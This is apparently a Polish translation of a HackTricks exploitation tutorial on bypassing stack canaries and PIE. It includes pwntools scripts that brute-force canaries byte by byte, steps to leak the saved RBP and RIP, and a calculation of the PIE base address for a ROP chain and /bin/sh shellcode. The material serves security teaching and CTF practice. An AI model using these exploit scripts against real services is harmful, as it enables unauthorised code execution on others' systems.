9.4 KiB
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Jeśli masz do czynienia z binarnym plikiem chronionym przez canary i PIE (Position Independent Executable), prawdopodobnie musisz znaleźć sposób na ich obejście.
{% hint style="info" %}
Należy zauważyć, że checksec
może nie wykryć, że binarny plik jest chroniony przez canary, jeśli został on statycznie skompilowany i nie jest w stanie zidentyfikować funkcji.
Jednak można to zauważyć ręcznie, jeśli zauważysz, że wartość jest zapisywana na stosie na początku wywołania funkcji i ta wartość jest sprawdzana przed wyjściem.
{% endhint %}
Bruteforce canary
Najlepszym sposobem na obejście prostego canary jest, jeśli binarny plik jest programem, który tworzy procesy potomne za każdym razem, gdy nawiązujesz nowe połączenie z nim (usługa sieciowa), ponieważ za każdym razem, gdy się z nim łączysz, używany będzie ten sam canary.
Najlepszym sposobem na obejście canary jest po prostu brute-force'owanie go znak po znaku, a można ustalić, czy odgadnięty bajt canary jest poprawny, sprawdzając, czy program się zawiesił czy kontynuuje swoje normalne działanie. W tym przykładzie funkcja brute-force'uje 8-bajtowy canary (x64) i rozróżnia między poprawnie odgadniętym bajtem a błędnym bajtem, po prostu sprawdzając, czy serwer wysyła odpowiedź (innym sposobem w innej sytuacji może być użycie try/except):
Przykład 1
Ten przykład jest zaimplementowany dla 64-bitów, ale można go łatwo zaimplementować dla 32-bitów.
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
Przykład 2
To jest zaimplementowane dla 32 bitów, ale można to łatwo zmienić na 64 bity.
Należy również zauważyć, że w tym przykładzie program oczekuje najpierw bajtu wskazującego rozmiar wejścia, a następnie ładunku.
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
Wyświetlanie Canary
Innym sposobem na obejście canary jest jego wyświetlenie.
Wyobraź sobie sytuację, w której podatny na przepełnienie stosu program może wykonać funkcję puts, która wskazuje na część przepełnionego stosu. Atakujący wie, że pierwszy bajt canary to bajt nullowy (\x00
), a reszta canary to losowe bajty. Następnie atakujący może stworzyć przepełnienie, które nadpisuje stos aż do pierwszego bajtu canary.
Następnie atakujący wywołuje funkcję puts na środku payloadu, co spowoduje wyświetlenie całego canary (z wyjątkiem pierwszego bajtu nullowego).
Dzięki tym informacjom atakujący może stworzyć i wysłać nowy atak, znając canary (w tej samej sesji programu).
Oczywiście, ta taktyka jest bardzo ograniczona, ponieważ atakujący musi być w stanie wyświetlić zawartość swojego payloadu, aby wyciec canary, a następnie być w stanie stworzyć nowy payload (w tej samej sesji programu) i wysłać rzeczywiste przepełnienie bufora.
Przykład CTF: https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
PIE
Aby obejść PIE, musisz wyciec pewien adres. Jeśli binarny plik nie wycieka żadnych adresów, najlepiej jest przełamać RBP i RIP zapisane na stosie w podatnej funkcji.
Na przykład, jeśli binarny plik jest chroniony zarówno przez canary, jak i PIE, możesz rozpocząć próby odgadywania canary, a następnie następne 8 bajtów (x64) będą zapisanym RBP, a następne 8 bajtów będą zapisanym RIP.
Aby przeprowadzić próby odgadywania RBP i RIP z binarnego pliku, możesz ustalić, że poprawny odgadnięty bajt jest prawidłowy, jeśli program coś wyświetla lub po prostu nie zawiesza się. Ta sama funkcja, która została użyta do prób odgadywania canary, może być użyta do prób odgadywania RBP i RIP:
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
Uzyskaj adres bazowy
Ostatnią rzeczą, którą musisz zrobić, aby pokonać PIE, jest obliczenie użytecznych adresów na podstawie wyciekniętych adresów: RBP i RIP.
Na podstawie RBP możesz obliczyć miejsce, w którym zapisujesz swoją powłokę na stosie. Może to być bardzo przydatne, aby wiedzieć, gdzie zamierzasz zapisać ciąg "/bin/sh\x00" wewnątrz stosu. Aby obliczyć odległość między wyciekniętym RBP a twoim kodem powłoki, wystarczy ustawić punkt przerwania po wycieku RBP i sprawdzić, gdzie znajduje się twój kod powłoki, a następnie obliczyć odległość między kodem powłoki a RBP:
INI_SHELLCODE = RBP - 1152
Z RIP można obliczyć adres bazowy binarnego PIE, który będzie potrzebny do utworzenia poprawnego łańcucha ROP.
Aby obliczyć adres bazowy, wystarczy wykonać polecenie objdump -d vunbinary
i sprawdzić ostatnie adresy rozkładu:
Na przykładzie widać, że potrzebne jest tylko 1,5 bajta, aby zlokalizować cały kod, a więc adres bazowy w tej sytuacji będzie to wycieknięty RIP, ale zakończony na "000". Na przykład, jeśli wyciekł 0x562002970ecf, to adres bazowy to 0x562002970000.
elf.address = RIP - (RIP & 0xfff)
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.